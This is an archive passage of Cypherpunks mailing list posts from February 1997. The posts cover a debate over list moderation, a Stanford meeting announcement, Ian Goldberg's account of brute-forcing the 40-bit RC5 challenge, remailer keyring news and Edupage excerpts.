is definitely not standard, however. I think there is a >description of it online; but briefly, NOW seems designed to very >efficiently handle this sort of intensive distributed processing project. >More important, perhaps, was the fact that Ian just chewed through the >possible keys with a pure brute-force attack on the key space. His attack >was not really optimized for RC5, or designed to attack any specific >element in the RC5 crypto architecture.) Actually, it was 259 _machines_, but 4 of them were 8-processor UltraSPARCs (by far the coolest machines I had access to), for a total of 287 processors. The "special" network used by the NOW cluster was irrelevant; I didn't use it at all. I used the machines on the NOW and 120 other HP workstations as regular TCP/IP clients. I started them by simply logging in to each machine, one at a time with "rsh" (well, "krsh" or "ssh" where appropriate). - Ian -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMvj4REZRiTErSPb1AQFl5gP+MGlyElNu6X3IHseW6Q0EPicPa4mQs35Z koUKkAhk0qrT2CpEzw7J6dtjyTLs2BUmScEOtvU8KiBjK8aRZCsE0BHSmONWtX71 dNZu1q/+wm2oSLi1tDq0mT7bpbBR0NbO71tWgza2vTFhtP4vKvzt5SodYSN+JTYL 5DuLvpofRFs= =ly1x -----END PGP SIGNATURE----- From dave at kachina.jetcafe.org Wed Feb 5 13:18:57 1997 From: dave at kachina.jetcafe.org (Dave Hayes) Date: Wed, 5 Feb 1997 13:18:57 -0800 (PST) Subject: what's in a name? Message-ID: <199702052118.NAA26907@kachina.jetcafe.org> Greg Broiles writes: > Wei Dai's message raises an important question: what is the relationship > between ownership and list content or quality? I'll assert that ownership can only have a negative impact on content. Freedom is preferable to bias, and hence loss of freedom can only hurt content...according to -my- standard of content anyway. > Are mailing lists an example of a situation where "the tragedy of the > commons" is not a useful metaphor? Yes. Such analogies assume that common people create tragedy, which is only true if their leaders have designed things to work that way. > Is the desire for an anarchic community at odds with a desire for > good use of resources? The network resources are there to handle email traffic. Attempting to place a non-technical content-based standard on the usage of resources invites censorship and leads to stagnation of ideas. If people would simply learn to filter what they don't like from their net.viewport, there would not be a perceived problem. ------ Dave Hayes - Altadena CA, USA - dave at jetcafe.org Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet Nasrudin arrived at an all-comers horse race mounted on the slowest of oxen. Everyone laughed, an ox cannot run. "But I have seen it, when it was only a calf, running faster than a horse.", said Nasrudin. "So why should it not run faster, now that it is larger?" From hugh at west.toad.com Wed Feb 5 13:23:47 1997 From: hugh at west.toad.com (Hugh Daniel) Date: Wed, 5 Feb 1997 13:23:47 -0800 (PST) Subject: ANNOUNCEMNT: February 1997 Cypherpunks Bay Area Meeting Message-ID: <199702052103.NAA13723@west.toad.com> What: San Francisco Bay Area Cypherpunks monthly physical meeting When: Saturday February 8th, 1997 Where: Turning Auditorium, Stanford University, Stanford California Agenda: 11:++ setup, gossip, face feeding etc. 12:00 USG Export 'Laws' of the week, Roz Thomsen, PGP inc. 13:00 PGPmail & PGPdisk overview, Dave Del Torto, PGP inc. 14:00 Break 14:30 Announcements, late breaking news, etc. 15:00 The 3 hour 40bit challenge, Ian Goldberg, UCBstudent 16:00 Why bother killing the list?, Hugh Daniel Future Meeting Planing, IPSEC Update, etc. 17:00 This hour left bank for future expansion... Dinner: 18:30 Dinner at Thai City, 3691 El Camino Real, PA (All times are approximate and likely to be totaly ignored...) Directions: Turning Auditorium is in Polya Hall, Jordan Quad, Stanford University, Stanford, Santa Clara County, California, USA. A (bit)map to the part of the Stanford Campus where the meeting will be held is at: http://www-facilities.stanford.edu/transportation/PGrid4.html General directions: - From Hwy 101, take the Embarcadero exit all the way to campus. Turn right (clockwise) on Campus Drive. Turn left into the Jordan Quad parking lot. - From Hwy 280, take Sand Hill. Turn right on Junipero Serra, then left (counterclockwise) onto Campus Drive. Turn right into the Jordan Quad parking lot. Host: Many thanks to Richard Graves and to Stanford University for providing the space for this months meeting. Notes: We will have a small NHK (Nipon(Japan)) film crew at much of this meeting, they are doing a documentary and are interested in how this (main) branch cypherpunks works (or does not work as the case may be...). We have a wonderful space to do demos in this month, Turing Auditorium has Internet, projections screens, audio amps and a Clone-PC and a Macintosh to demo software, web sites etc. If you have something Cypherpunkish to demo, this is the month to do so! From aba at dcs.ex.ac.uk Wed Feb 5 13:45:38 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Wed, 5 Feb 1997 13:45:38 -0800 (PST) Subject: Moderation [Tim,Sandy] In-Reply-To: Message-ID: <199702052145.VAA00144@server.test.net> Declan McCullagh writes: > Adam writes: > > >The problem with censorship or moderation is that it waters down the > >absolutism of free speech. Free speech in electronic media, with > >cypherpunks type I, and type II remailers, is the closest thing to > >truly free speech yet. > > I agree and disagree. Moderation often *increases* the value of speech. The > Wall Street Journal, or Time Magazine, or the JAMA have strict policies > regarding what information they print; these policies increase the > publication's value. Their policies impose the editors and owners biases on the publication. If people value their publication they buy it. The average quality of the articles is higher than a discussion group -- the authors spend longer writing the articles, and the best articles are selected by the editors. Unsuprising. The articles are probably biased towards the editors or owners politics. > Moderation is not necessarily censorship. Would you criticize the > National Coalition Against Censorship for not including in their > newsletter (to which I subscribe) off-topic rants by Jesse Helms? A newsletter is not a discussion forum. Editorial control of a newsletter is not moderation of a discussion group. The cypherpunks list is a discussion forum. It's the electronic equivalent of people talking amongst themselves about crypto issues in free time at CFP, or a crypto conference. > What Vulis and the rest (whom I killfiled long ago) have done is > polluted a common resource, making it unusable for the rest. It's > the tragedy of the commons. When all can speak without limit in a > public forum, the drunken boor can shout everyone else down. Dimitri's opinions aren't threatening anything. If you aren't interested in what he says don't read his articles. If you disagree with what he says, argue against it. Subscribe to or start filtering services (rating services) reflecting your views. Personally I think something useful could be done with a content digested form of cypherpunks with ratings, and pointers to the actual posts. Things like: + a thread on the experiment moderation, discussion from John Gilmore, Tim May, and others (hypertext ref) + series of latest ascii art and insults + new crypto developments in article forwarded by JYA +-+ discussion of new crypto developments, and Lucky offers a bet Would take a fair amount of effort from someone to produce a running commentry of cypherpunks discussions to provide a higher level index in to cypherpunks. The price of unconditional free speech is that people will say things which you personally don't agree with, however libertarian you are. The only thing to do is to ignore stuff you don't like, or argue against it, if you say, no this is too crap, or too worthless, then you've started on the slippery slope. It is the same principle that protects your own freedom of expression. It is worth bearing in mind that cypherpunks themselves are part of a minority (the population of people who understand what encryption is and implies, and know what governments are proposing enough to form an opinion on whether crypto should be regulated or not). Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 -----BEGIN PGP SIGNED MESSAGE----- I apologize for 3 copies of the same message. I was having some problems with premail. I'll try not to let it happen again. John Perry KG5RG perry at alpha.jpunix.com PGP-encrypted e-mail welcome! Amateur Radio Address: kg5rg at kg5rg.ampr.org WWW - http://www.jpunix.com PGP 2.62 key for perry at jpunix.com is on the keyservers. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMvjuN1OTpEThrthvAQHZmgQAkp1pN5S/NV/8Bg17kiQXKBM59y+bmMEx XkkEPQlVYCPrE6z+t+QRx93DQS3HVwAE8x5tvP9fkvnWGJxuyMMkBeJv+ru2kDUg dDxo8+C+TsQ6jQ+B7OQWg4EcaC9vpQNPYQLEYpI5UjgXrpYLtilcfeGzvYqSDXmN 8+xvb184UfE= =sSG7 -----END PGP SIGNATURE----- From perry at alpha.jpunix.com Wed Feb 5 14:01:28 1997 From: perry at alpha.jpunix.com (John A. Perry) Date: Wed, 5 Feb 1997 14:01:28 -0800 (PST) Subject: New type2.list/pubring.mix Message-ID: <199702052201.OAA05490@toad.com> -----BEGIN PGP SIGNED MESSAGE----- Hello Everyone, I've just updated the type2.list/pubring.mix combination on jpunix.com to reflect the retirement of rebma. The files are available by anonymous FTP from ftp.jpunix.com as well as by WWW from www.jpunix.com. Additionally, the files are now available by IRC (EFnet) by accessing the rops bot on #remailop. Just send a /msg rops hello so rops will recognize you. You can then do a /dcc chat rops, go to the file area and then do a /dcc get. John Perry KG5RG perry at alpha.jpunix.com PGP-encrypted e-mail welcome! Amateur Radio Address: kg5rg at kg5rg.ampr.org WWW - http://www.jpunix.com PGP 2.62 key for perry at jpunix.com is on the keyservers. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMvjtk1OTpEThrthvAQEY9QP/RAmfhG6yF0xRQn23XgXhnVxQIMexnEIw SS3WNj8hHIS5TAT06AsjFLrcBGPqkN612XiYrkGAtgXLQfPuevxGrtDRdGesYzGH kz5+exvxW3BOuVokQs7TZLoQQzSq5WbmfdoG1UZ6aSXPQ1gE6c/Hwgx8R/Z4Os9I xZP07vWyryc= =bPEB -----END PGP SIGNATURE----- From iang at cs.berkeley.edu Wed Feb 5 14:01:36 1997 From: iang at cs.berkeley.edu (Ian Goldberg) Date: Wed, 5 Feb 1997 14:01:36 -0800 (PST) Subject: "Strong" crypto and export rule changes. Message-ID: <199702052201.OAA05502@toad.com> -----BEGIN PGP SIGNED MESSAGE----- In article <199702030626.WAA14616 at toad.com>, Vin McLellan wrote: > Ian popped the 40-bit RC5 (not RC4) challenge with 259 processors, >almost all standard Unix college-lab workstations, as I understand it. >(RC5 has a variable block size and a variable number of rounds; but the >unknown plaintexts for this contest were enciphered using a declared >12-round RC5 with a 32-bit word size.) The message Ian revealed was >something like: "That's why you need a longer key!!!!!" > > (The network Ian used to link his lab workstations, NOW at >Berkeley, is definitely not standard, however. I think there is a >description of it online; but briefly, NOW seems designed to very >efficiently handle this sort of intensive distributed processing project. >More important, perhaps, was the fact that Ian just chewed through the >possible keys with a pure brute-force attack on the key space. His attack >was not really optimized for RC5, or designed to attack any specific >element in the RC5 crypto architecture.) Actually, it was 259 _machines_, but 4 of them were 8-processor UltraSPARCs (by far the coolest machines I had access to), for a total of 287 processors. The "special" network used by the NOW cluster was irrelevant; I didn't use it at all. I used the machines on the NOW and 120 other HP workstations as regular TCP/IP clients. I started them by simply logging in to each machine, one at a time with "rsh" (well, "krsh" or "ssh" where appropriate). - Ian -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMvj4REZRiTErSPb1AQFl5gP+MGlyElNu6X3IHseW6Q0EPicPa4mQs35Z koUKkAhk0qrT2CpEzw7J6dtjyTLs2BUmScEOtvU8KiBjK8aRZCsE0BHSmONWtX71 dNZu1q/+wm2oSLi1tDq0mT7bpbBR0NbO71tWgza2vTFhtP4vKvzt5SodYSN+JTYL 5DuLvpofRFs= =ly1x -----END PGP SIGNATURE----- From roach_s at alph.swosu.edu Wed Feb 5 14:03:05 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Wed, 5 Feb 1997 14:03:05 -0800 (PST) Subject: Are cypher punks capable? Message-ID: <199702052203.OAA05521@toad.com> At 08:57 PM 2/4/97 -0000, Secret Squirrel wrote: >Against Moderation wrote: >> In general, unsubscribing and resubscribing to a mailing list is not >> completely trivial. > >Do you think that a cypher punk is not able to solve these problems? > I just unsubscribed to cypherpunks, simoutaneously (excuse the spelling) subscribing to the cypherpunks-unfiltered (and low tar) list. One problem I have is in transit, how many messages did I loose? Since the moderated list is delayed by however long it takes for Mr. Sandforth to read the messages, I lost at least as many messages as he pulled in last minus the number of messages that he had already sent out. I thought about subscribing for about four hours to both lists, but I have enough trouble with my account hitting its maximum kB limit. I don't have any filters, scripts, or other, and yet I still had a problem, (one which I finally ignored). From mark at infolawalert.com Wed Feb 5 14:05:30 1997 From: mark at infolawalert.com (Mark Voorhees) Date: Wed, 5 Feb 1997 14:05:30 -0800 (PST) Subject: Deloitte-Touche? Message-ID: <199702052204.RAA12059@york.interport.net> On Wed, 5 Feb 1997 10:45:30 -0800, Marshall Clow wrote: >It wasn't really what he said that amazed me, because >I had heard most of it (in bits and pieces) before. It >was presenting it all in a package, in an emotional >manner, by an elderly, conseratively dressed >accountant who was representing a large >corporation whose job it is to help people obey the >government. I'm almost certain that Murray is a consultant rather than or in addition to an accountant. He's been saying these things for years at conferences, in papers, on mailing lists, etc. Mark From EALLENSMITH at ocelot.Rutgers.EDU Wed Feb 5 14:11:14 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Wed, 5 Feb 1997 14:11:14 -0800 (PST) Subject: Edited Edupage, 4 February 1997 Message-ID: <01IF2BX0CENI9AN48B@mbcl.rutgers.edu> From: IN%"educom at educom.unc.edu" 5-FEB-1997 01:10:14.09 To: IN%"edupage at elanor.oit.unc.edu" "EDUCOM Edupage Mailing List" >************************************************************ >Edupage, 4 February 1997. Edupage, a summary of news about information >technology, is provided three times a week as a service by Educom, a >Washington, D.C.-based consortium of leading colleges and universities >seeking to transform education through the use of information technology. >************************************************************ >GATES SAYS OLD LAWS ARE GOOD ENOUGH FOR THE NET >Microsoft's Bill Gates: "It's always surprising how old concepts carry over >into the new medium. It's overly idealistic to act like, Oh, the Internet >is the one place where people should be able to do whatever they wish: >present child pornography, do scams, libel people, steal copyrighted >material. Society's values have not changed fundamentally just because it's >an Internet page. Take copyright. Sure, there should be some >clarifications about copyright, but the old principles work surprisingly >well in the new medium. Anybody who says you have to start over -- I don't >agree with that." (George Feb 97) Looks like he hasn't thought about enforcement problems, which may fortunately prevent the application of unnecessary laws to the 'net. >CULTURE CLASHES ON THE INTERNET >At a session of the World Economic Forum in Davos, Switzerland, the issue of >censorship on the Internet was debated from East/West perspectives, with the >Eastern view represented by such countries as Singapore, Iran, and Egypt. >Denmark foreign minister Uffe Ellemann-Jensen said, "Whenever you want to >stop the free flow of information, you must ask yourself what is possible. >The usual answer from politicians is we need international rules. I say, >forget it. It won't happen." Iranian mathematics professor Mohammed >Lasijani countered: "In the west, the issue is sometimes how to globalise >liberalism: how to export an ideology. I am not a liberal, and I do not >believe liberalism is the only way to a decent life." (Financial Times 4 >Feb 97) Well, yes, neither did Adolf Hitler. Sorry, cultural differences won't wash; individual liberties are more important than culture or national sovreignty. >Edupage is written by John Gehl & Suzanne Douglas >. Voice: 404-371-1853, Fax: 404-371-8057. >Technical support is provided by Information Technology Services at the >University of North Carolina at Chapel Hill. >********************************************************** >Edupage ... is what you've just finished reading. To subscribe to Edupage: >send mail to: listproc at educom.unc.edu with the message: subscribe edupage >Edgar Allan Poe (if your name is Edgar Allan Poe; otherwise, substitute >your own name). To unsubscribe send a message to: listproc at educom.unc.edu >with the message: unsubscribe edupage. (If you have subscription problems, >send mail to manager at educom.unc.edu.) From EALLENSMITH at ocelot.Rutgers.EDU Wed Feb 5 14:14:20 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Wed, 5 Feb 1997 14:14:20 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?! Message-ID: <01IF2C1D6QAA9AN48B@mbcl.rutgers.edu> From: IN%"mclow at owl.csusm.edu" "Marshall Clow" 5-FEB-1997 04:04:13.13 >At 4:05 PM -0800 2/4/97, aaron at herringn.com wrote: >> >>If I might make a suggestion: >> >>Some people want moderation. That's fine, I've never been very big on >>letting other people choose what I read, but some people want it. >> >>For those who want it, let someone moderate the list for as long as >>they care to do it. Approved messages get a "X-sandy-approved" >>header. The responsibility for setting up a filter to toss everything >>that doesn't have the header is the responsibility of the end user. >>Toad will need to filter incoming posts to make sure they don't come >>"pre-approved", but that's the only hole I can think of. >> >>Everyone gets all of the Cypherpunks list. Those who want moderation >>filter the unapproved posts, those who want all of it get all of it. >> >>Hopefully, this will make (almost) everyone happy. >> >I like this idea. >However, I would suggest an additional refinement: > Implement a cypherpunks-moderated list which >is all the 'approved' messages. This way, people who wish >to have the benefits of a filtered list are happy, people who >wish to have posts rated for them (but be able to check on >the "rater") are happy, and people who wish to see every >message are happy. > >(I know that John has concerns about toad's mail capacity, >and this may be too big a load) Lance's offer for informix to host the unmoderated version of the list may be of assistance here. >ObCrypto policy: > Was anyone else besides me amazed by the guy >from Deloitte-Touche at the Internet Privacy Coalition luncheon >last week? I mean, he all but advocated violent overthrow of >the government. D-T is the most "establishment" of the big-6 >accounting firms, last time that I looked. What all did he have to say? -Allen From dave at kachina.jetcafe.org Wed Feb 5 14:14:27 1997 From: dave at kachina.jetcafe.org (Dave Hayes) Date: Wed, 5 Feb 1997 14:14:27 -0800 (PST) Subject: what's in a name? Message-ID: <199702052214.OAA05697@toad.com> Greg Broiles writes: > Wei Dai's message raises an important question: what is the relationship > between ownership and list content or quality? I'll assert that ownership can only have a negative impact on content. Freedom is preferable to bias, and hence loss of freedom can only hurt content...according to -my- standard of content anyway. > Are mailing lists an example of a situation where "the tragedy of the > commons" is not a useful metaphor? Yes. Such analogies assume that common people create tragedy, which is only true if their leaders have designed things to work that way. > Is the desire for an anarchic community at odds with a desire for > good use of resources? The network resources are there to handle email traffic. Attempting to place a non-technical content-based standard on the usage of resources invites censorship and leads to stagnation of ideas. If people would simply learn to filter what they don't like from their net.viewport, there would not be a perceived problem. ------ Dave Hayes - Altadena CA, USA - dave at jetcafe.org Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet Nasrudin arrived at an all-comers horse race mounted on the slowest of oxen. Everyone laughed, an ox cannot run. "But I have seen it, when it was only a calf, running faster than a horse.", said Nasrudin. "So why should it not run faster, now that it is larger?" From EALLENSMITH at ocelot.Rutgers.EDU Wed Feb 5 14:16:45 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Wed, 5 Feb 1997 14:16:45 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <01IF2C4F6ANS9AN48B@mbcl.rutgers.edu> From: IN%"jer+ at andrew.cmu.edu" "Jeremiah A Blatz" 5-FEB-1997 06:54:01.96 >On the choke points note, mailing lists are better than usenet because >legendary AOLers with there 5 free hours of fame and their ilk usually >don't figure out how to pester mailing lists. Being on a mailing list >usually requires a commitment, that is enough of a barrier for many of >the usenet underirables. Umm... try reading list-managers for a while on AOL cluelessness for mailing lists. The Usenet AOL undesirables also do things like reading AOL's ever-so-helpful directory of mailing lists (some list managers have asked to have their list taken _off_ of this directory). -Allen From Ed.Falk at Eng.Sun.COM Wed Feb 5 14:17:39 1997 From: Ed.Falk at Eng.Sun.COM (Ed Falk) Date: Wed, 5 Feb 1997 14:17:39 -0800 (PST) Subject: ANNOUNCEMNT: February 1997 Cypherpunks Bay Area Meeting Message-ID: <199702052216.OAA29244@peregrine.eng.sun.com> -----BEGIN PGP SIGNED MESSAGE----- Hi all; if anybody's interested in having a PGP key-signing party at this event, I'd be willing to organize one. If interested, send me your key (or a pointer to where I can download it), and let me know what times are good for you for the party. -ed falk -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQBVAwUBMvkGtzLd6HIbO1jdAQGZFQH9GNbQCwSS09YuPrC9jg43A9NiusV18sdM 66MKMVxIYYi2EstThJVWN8NLYCIGCgOiJnnIJ4ZgkbnAwY9zmZviVw== =4etp -----END PGP SIGNATURE----- From aba at dcs.ex.ac.uk Wed Feb 5 14:20:02 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Wed, 5 Feb 1997 14:20:02 -0800 (PST) Subject: Moderation [Tim,Sandy] Message-ID: <199702052220.OAA05804@toad.com> Declan McCullagh writes: > Adam writes: > > >The problem with censorship or moderation is that it waters down the > >absolutism of free speech. Free speech in electronic media, with > >cypherpunks type I, and type II remailers, is the closest thing to > >truly free speech yet. > > I agree and disagree. Moderation often *increases* the value of speech. The > Wall Street Journal, or Time Magazine, or the JAMA have strict policies > regarding what information they print; these policies increase the > publication's value. Their policies impose the editors and owners biases on the publication. If people value their publication they buy it. The average quality of the articles is higher than a discussion group -- the authors spend longer writing the articles, and the best articles are selected by the editors. Unsuprising. The articles are probably biased towards the editors or owners politics. > Moderation is not necessarily censorship. Would you criticize the > National Coalition Against Censorship for not including in their > newsletter (to which I subscribe) off-topic rants by Jesse Helms? A newsletter is not a discussion forum. Editorial control of a newsletter is not moderation of a discussion group. The cypherpunks list is a discussion forum. It's the electronic equivalent of people talking amongst themselves about crypto issues in free time at CFP, or a crypto conference. > What Vulis and the rest (whom I killfiled long ago) have done is > polluted a common resource, making it unusable for the rest. It's > the tragedy of the commons. When all can speak without limit in a > public forum, the drunken boor can shout everyone else down. Dimitri's opinions aren't threatening anything. If you aren't interested in what he says don't read his articles. If you disagree with what he says, argue against it. Subscribe to or start filtering services (rating services) reflecting your views. Personally I think something useful could be done with a content digested form of cypherpunks with ratings, and pointers to the actual posts. Things like: + a thread on the experiment moderation, discussion from John Gilmore, Tim May, and others (hypertext ref) + series of latest ascii art and insults + new crypto developments in article forwarded by JYA +-+ discussion of new crypto developments, and Lucky offers a bet Would take a fair amount of effort from someone to produce a running commentry of cypherpunks discussions to provide a higher level index in to cypherpunks. The price of unconditional free speech is that people will say things which you personally don't agree with, however libertarian you are. The only thing to do is to ignore stuff you don't like, or argue against it, if you say, no this is too crap, or too worthless, then you've started on the slippery slope. It is the same principle that protects your own freedom of expression. It is worth bearing in mind that cypherpunks themselves are part of a minority (the population of people who understand what encryption is and implies, and know what governments are proposing enough to form an opinion on whether crypto should be regulated or not). Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 What: San Francisco Bay Area Cypherpunks monthly physical meeting When: Saturday February 8th, 1997 Where: Turning Auditorium, Stanford University, Stanford California Agenda: 11:++ setup, gossip, face feeding etc. 12:00 USG Export 'Laws' of the week, Roz Thomsen, PGP inc. 13:00 PGPmail & PGPdisk overview, Dave Del Torto, PGP inc. 14:00 Break 14:30 Announcements, late breaking news, etc. 15:00 The 3 hour 40bit challenge, Ian Goldberg, UCBstudent 16:00 Why bother killing the list?, Hugh Daniel Future Meeting Planing, IPSEC Update, etc. 17:00 This hour left bank for future expansion... Dinner: 18:30 Dinner at Thai City, 3691 El Camino Real, PA (All times are approximate and likely to be totaly ignored...) Directions: Turning Auditorium is in Polya Hall, Jordan Quad, Stanford University, Stanford, Santa Clara County, California, USA. A (bit)map to the part of the Stanford Campus where the meeting will be held is at: http://www-facilities.stanford.edu/transportation/PGrid4.html General directions: - From Hwy 101, take the Embarcadero exit all the way to campus. Turn right (clockwise) on Campus Drive. Turn left into the Jordan Quad parking lot. - From Hwy 280, take Sand Hill. Turn right on Junipero Serra, then left (counterclockwise) onto Campus Drive. Turn right into the Jordan Quad parking lot. Host: Many thanks to Richard Graves and to Stanford University for providing the space for this months meeting. Notes: We will have a small NHK (Nipon(Japan)) film crew at much of this meeting, they are doing a documentary and are interested in how this (main) branch cypherpunks works (or does not work as the case may be...). We have a wonderful space to do demos in this month, Turing Auditorium has Internet, projections screens, audio amps and a Clone-PC and a Macintosh to demo software, web sites etc. If you have something Cypherpunkish to demo, this is the month to do so! From mark at infolawalert.com Wed Feb 5 14:56:42 1997 From: mark at infolawalert.com (Mark Voorhees) Date: Wed, 5 Feb 1997 14:56:42 -0800 (PST) Subject: Deloitte-Touche? Message-ID: <199702052256.OAA06322@toad.com> On Wed, 5 Feb 1997 10:45:30 -0800, Marshall Clow wrote: >It wasn't really what he said that amazed me, because >I had heard most of it (in bits and pieces) before. It >was presenting it all in a package, in an emotional >manner, by an elderly, conseratively dressed >accountant who was representing a large >corporation whose job it is to help people obey the >government. I'm almost certain that Murray is a consultant rather than or in addition to an accountant. He's been saying these things for years at conferences, in papers, on mailing lists, etc. Mark From EALLENSMITH at ocelot.Rutgers.EDU Wed Feb 5 14:56:45 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Wed, 5 Feb 1997 14:56:45 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702052256.OAA06324@toad.com> From: IN%"jer+ at andrew.cmu.edu" "Jeremiah A Blatz" 5-FEB-1997 06:54:01.96 >On the choke points note, mailing lists are better than usenet because >legendary AOLers with there 5 free hours of fame and their ilk usually >don't figure out how to pester mailing lists. Being on a mailing list >usually requires a commitment, that is enough of a barrier for many of >the usenet underirables. Umm... try reading list-managers for a while on AOL cluelessness for mailing lists. The Usenet AOL undesirables also do things like reading AOL's ever-so-helpful directory of mailing lists (some list managers have asked to have their list taken _off_ of this directory). -Allen From EALLENSMITH at ocelot.Rutgers.EDU Wed Feb 5 14:56:59 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Wed, 5 Feb 1997 14:56:59 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?! Message-ID: <199702052256.OAA06332@toad.com> From: IN%"mclow at owl.csusm.edu" "Marshall Clow" 5-FEB-1997 04:04:13.13 >At 4:05 PM -0800 2/4/97, aaron at herringn.com wrote: >> >>If I might make a suggestion: >> >>Some people want moderation. That's fine, I've never been very big on >>letting other people choose what I read, but some people want it. >> >>For those who want it, let someone moderate the list for as long as >>they care to do it. Approved messages get a "X-sandy-approved" >>header. The responsibility for setting up a filter to toss everything >>that doesn't have the header is the responsibility of the end user. >>Toad will need to filter incoming posts to make sure they don't come >>"pre-approved", but that's the only hole I can think of. >> >>Everyone gets all of the Cypherpunks list. Those who want moderation >>filter the unapproved posts, those who want all of it get all of it. >> >>Hopefully, this will make (almost) everyone happy. >> >I like this idea. >However, I would suggest an additional refinement: > Implement a cypherpunks-moderated list which >is all the 'approved' messages. This way, people who wish >to have the benefits of a filtered list are happy, people who >wish to have posts rated for them (but be able to check on >the "rater") are happy, and people who wish to see every >message are happy. > >(I know that John has concerns about toad's mail capacity, >and this may be too big a load) Lance's offer for informix to host the unmoderated version of the list may be of assistance here. >ObCrypto policy: > Was anyone else besides me amazed by the guy >from Deloitte-Touche at the Internet Privacy Coalition luncheon >last week? I mean, he all but advocated violent overthrow of >the government. D-T is the most "establishment" of the big-6 >accounting firms, last time that I looked. What all did he have to say? -Allen From EALLENSMITH at ocelot.Rutgers.EDU Wed Feb 5 14:57:13 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Wed, 5 Feb 1997 14:57:13 -0800 (PST) Subject: Edited Edupage, 4 February 1997 Message-ID: <199702052257.OAA06344@toad.com> From: IN%"educom at educom.unc.edu" 5-FEB-1997 01:10:14.09 To: IN%"edupage at elanor.oit.unc.edu" "EDUCOM Edupage Mailing List" >************************************************************ >Edupage, 4 February 1997. Edupage, a summary of news about information >technology, is provided three times a week as a service by Educom, a >Washington, D.C.-based consortium of leading colleges and universities >seeking to transform education through the use of information technology. >************************************************************ >GATES SAYS OLD LAWS ARE GOOD ENOUGH FOR THE NET >Microsoft's Bill Gates: "It's always surprising how old concepts carry over >into the new medium. It's overly idealistic to act like, Oh, the Internet >is the one place where people should be able to do whatever they wish: >present child pornography, do scams, libel people, steal copyrighted >material. Society's values have not changed fundamentally just because it's >an Internet page. Take copyright. Sure, there should be some >clarifications about copyright, but the old principles work surprisingly >well in the new medium. Anybody who says you have to start over -- I don't >agree with that." (George Feb 97) Looks like he hasn't thought about enforcement problems, which may fortunately prevent the application of unnecessary laws to the 'net. >CULTURE CLASHES ON THE INTERNET >At a session of the World Economic Forum in Davos, Switzerland, the issue of >censorship on the Internet was debated from East/West perspectives, with the >Eastern view represented by such countries as Singapore, Iran, and Egypt. >Denmark foreign minister Uffe Ellemann-Jensen said, "Whenever you want to >stop the free flow of information, you must ask yourself what is possible. >The usual answer from politicians is we need international rules. I say, >forget it. It won't happen." Iranian mathematics professor Mohammed >Lasijani countered: "In the west, the issue is sometimes how to globalise >liberalism: how to export an ideology. I am not a liberal, and I do not >believe liberalism is the only way to a decent life." (Financial Times 4 >Feb 97) Well, yes, neither did Adolf Hitler. Sorry, cultural differences won't wash; individual liberties are more important than culture or national sovreignty. >Edupage is written by John Gehl & Suzanne Douglas >. Voice: 404-371-1853, Fax: 404-371-8057. >Technical support is provided by Information Technology Services at the >University of North Carolina at Chapel Hill. >********************************************************** >Edupage ... is what you've just finished reading. To subscribe to Edupage: >send mail to: listproc at educom.unc.edu with the message: subscribe edupage >Edgar Allan Poe (if your name is Edgar Allan Poe; otherwise, substitute >your own name). To unsubscribe send a message to: listproc at educom.unc.edu >with the message: unsubscribe edupage. (If you have subscription problems, >send mail to manager at educom.unc.edu.) From Ed.Falk at Eng.Sun.COM Wed Feb 5 14:58:26 1997 From: Ed.Falk at Eng.Sun.COM (Ed Falk) Date: Wed, 5 Feb 1997 14:58:26 -0800 (PST) Subject: ANNOUNCEMNT: February 1997 Cypherpunks Bay Area Meeting Message-ID: <199702052258.OAA06370@toad.com> -----BEGIN PGP SIGNED MESSAGE----- Hi all; if anybody's interested in having a PGP key-signing party at this event, I'd be willing to organize one. If interested, send me your key (or a pointer to where I can download it), and let me know what times are good for you for the party. -ed falk -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQBVAwUBMvkGtzLd6HIbO1jdAQGZFQH9GNbQCwSS09YuPrC9jg43A9NiusV18sdM 66MKMVxIYYi2EstThJVWN8NLYCIGCgOiJnnIJ4ZgkbnAwY9zmZviVw== =4etp -----END PGP SIGNATURE----- From wombat at mcfeely.bsfs.org Wed Feb 5 15:01:58 1997 From: wombat at mcfeely.bsfs.org (Rabid Wombat) Date: Wed, 5 Feb 1997 15:01:58 -0800 (PST) Subject: "alt.cypherpunks" people? In-Reply-To: <199702051701.JAA00962@toad.com> Message-ID: On Wed, 5 Feb 1997, Dr.Dimitri Vulis KOTM wrote: > Anil Das writes: > > > Adam Back wrote: > > > > > > What do people think of starting an alt.cypherpunks USENET newsgroup? > > > > > > > I have only one objection. I will never post to an Usenet group > > under my real email address for fear of ending up in spammer > > databases. > > > > -- > > Anil Das > > > > Learn to use an anonymous remailer. > Unfortunately, if everyone is posting from "nobody at thevoid" or such, we'd lose the "personalities" that make up the community. Why not use a "nym" account to post - one that is configured to discard all incoming email? -r.w. From dlv at bwalk.dm.com Wed Feb 5 15:20:27 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) 